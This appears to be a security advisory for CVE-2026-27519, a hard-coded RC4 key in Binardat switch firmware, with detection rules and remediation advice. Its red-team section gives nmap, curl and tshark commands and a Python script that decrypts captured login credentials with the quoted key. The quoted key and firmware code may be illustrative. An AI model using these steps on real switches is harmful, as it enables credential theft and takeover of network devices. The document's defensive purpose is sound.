CVE-2026-27519

Executive Summary

CVE-2026-27519 exposes a critical cryptographic failure in the Binardat 10G08-0800GSM network switch firmware version V300SP10260209 and prior. The device uses RC4 encryption with a hard-coded key embedded in client-side JavaScript. Because the key is static and exposed, an attacker can decrypt protected values and defeat confidentiality protections. This vulnerability allows an unauthenticated attacker to decrypt sensitive data (e.g., credentials, session tokens) transmitted between the web management interface and the switch, leading to full compromise of administrative access.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a network hardware device.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Complete loss of confidentiality.
• Integrity (I): None (N) – No integrity impact.
• Availability (A): None (N) – No availability impact.

Threat Level: High (7.5) – Unauthenticated remote decryption of sensitive data.

Deep Dive & Mechanics

The Binardat 10G08-0800GSM switch uses a web-based management interface. The firmware version V300SP10260209 and prior implements RC4 encryption to protect sensitive data (e.g., passwords, session tokens) transmitted between the client browser and the device. However, the encryption key is hard-coded in client-side JavaScript, making it visible to anyone who inspects the page source or network traffic.

Attack Flow:

1. An attacker accesses the switch's web interface (e.g., http://<switch-ip>/).
2. The attacker views the page source or intercepts JavaScript files to extract the hard-coded RC4 key.
3. The attacker captures encrypted traffic (e.g., login credentials, session cookies) using a network sniffer.
4. Using the extracted key, the attacker decrypts the captured data, revealing plaintext credentials or session tokens.
5. The attacker uses these credentials to gain administrative access to the switch.

Root Cause: The use of RC4 (a weak stream cipher) combined with a static, client-side key violates cryptographic best practices. RC4 is known to have biases and is deprecated. The key should be derived per-session using a secure key exchange (e.g., TLS).

Vulnerable vs. Patched Code

Vulnerable Code (JavaScript snippet from firmware):

// Hard-coded RC4 key
var rc4Key = "BinardatSecretKey2026";
function encryptData(data) {
    return rc4(rc4Key, data);
}
function decryptData(encrypted) {
    return rc4(rc4Key, encrypted);
}

Patched Code (Hypothetical fix):

// Use TLS for transport encryption; remove client-side encryption
// All sensitive data should be transmitted over HTTPS
// No hard-coded keys
function sendCredentials(username, password) {
    // Use fetch with HTTPS
    fetch('https://switch/admin/login', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ user: username, pass: password })
    });
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

• Target: Binardat 10G08-0800GSM switch with firmware V300SP10260209.
• Attacker machine: Kali Linux with wireshark, curl, and python3.

Step-by-Step Exploitation:

1. Identify the switch: Use Shodan or nmap to find exposed switches.

   nmap -p 80,443 --script http-title <target-ip>
   

2. Extract the hard-coded key: View the page source or download JavaScript files.

   curl http://<target-ip>/js/app.js | grep -i "rc4\|key"
   

3. Capture encrypted traffic: Use Wireshark to capture POST requests to /login.

   tshark -i eth0 -Y "http.request.method == POST" -T fields -e http.file_data
   

4. Decrypt captured data: Write a Python script using the extracted key.

   from Crypto.Cipher import ARC4
   key = b'BinardatSecretKey2026'
   cipher = ARC4.new(key)
   encrypted_data = bytes.fromhex('...')  # captured hex
   decrypted = cipher.decrypt(encrypted_data)
   print(decrypted.decode('utf-8', errors='ignore'))
   

5. Gain access: Use decrypted credentials to log in via the web interface.

Blue Team (Defender)

Detection:

• Monitor for unusual HTTP POST requests to /login or /admin endpoints.
• Alert on repeated failed login attempts followed by successful login from same IP.
• Use network monitoring to detect RC4 cipher usage (rare in modern traffic).

Hunting:

• Search for JavaScript files containing hard-coded keys (e.g., rc4, ARC4, key).
• Check for unencrypted HTTP traffic to management interfaces.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /js/app.js or similar JavaScript files.
  • POST requests to /login with encrypted payloads (hex-encoded).
  • Unencrypted HTTP traffic on port 80 to the switch.
• File:
  • JavaScript files containing rc4 function and hard-coded key.
• Behavioral:
  • Successful login from an IP that previously had failed attempts.
  • Use of RC4 cipher in TLS handshake (if TLS is used, but unlikely).

Detection Engineering

YARA Rule

rule Binardat_Hardcoded_RC4_Key {
    meta:
        description = "Detects hard-coded RC4 key in Binardat switch JavaScript"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-27519"
    strings:
        $rc4_func = "function rc4" ascii wide nocase
        $key_var = "var rc4Key" ascii wide nocase
        $key_str = "BinardatSecretKey2026" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Binardat Switch Hardcoded RC4 Key Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects access to JavaScript files containing hard-coded RC4 key on Binardat switches
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: '/js/app.js'
    condition: selection
falsepositives:
    - Legitimate admin access
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-27519 Binardat Hardcoded RC4 Key Access"; flow:to_server; content:"/js/app.js"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable web management interface if not required, or restrict access via firewall rules to trusted IPs only.
2. Change default credentials immediately and use strong, unique passwords.
3. Monitor logs for unauthorized access attempts.

Long-Term Fix:

• Vendor Patch: Binardat must release a firmware update that removes client-side encryption and uses TLS for all management traffic.
• Workaround: If patching is not possible, place the switch behind a VPN or use SSH tunneling for management.

Compensating Controls:

• Implement network segmentation to isolate management interfaces.
• Use a web application firewall (WAF) to block access to JavaScript files containing keys.
• Deploy endpoint detection and response (EDR) to monitor for exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert